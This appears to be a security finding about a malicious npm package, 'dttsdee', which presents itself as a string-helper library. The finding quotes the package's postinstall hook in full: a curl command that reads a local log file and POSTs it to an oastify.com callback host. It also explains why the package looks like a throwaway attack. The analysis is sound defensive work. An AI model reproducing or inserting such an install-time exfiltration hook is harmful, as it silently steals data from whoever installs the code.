## Public findings

### 1. High: Osv Malicious Advisory
- **Category:** External Intel
- **Confidence:** 100.0%

package.json declares a postinstall lifecycle script that runs automatically on \`npm install\`: \`curl -X POST -d "$(cat /data/logs/monitor-2026-06-25.log)" http://3dhd6wwmusbh04m22igmzvb4hvnmblza.oastify.com/data\`. The hook reads a file from the installer's filesystem and POSTs its contents over cleartext HTTP to an attacker-controlled subdomain on oastify.com (Burp Suite's Collaborator out-of-band callback service, commonly used for data exfiltration and SSRF research). The package advertises itself as a string-utility library (\`easy-string-kit\` in source) but is published under the unrelated name \`dttsdee\` with empty author/repository/homepage/bugs metadata; the innocuous string-helper code in index.js is cover for the install-time exfiltration. The combination of generic placeholder metadata, mismatched name/internal-description, and an automatic OOB exfil beacon on a researcher/attacker callback domain is a throwaway malicious package (likely dependency-confusion PoC or active attack).
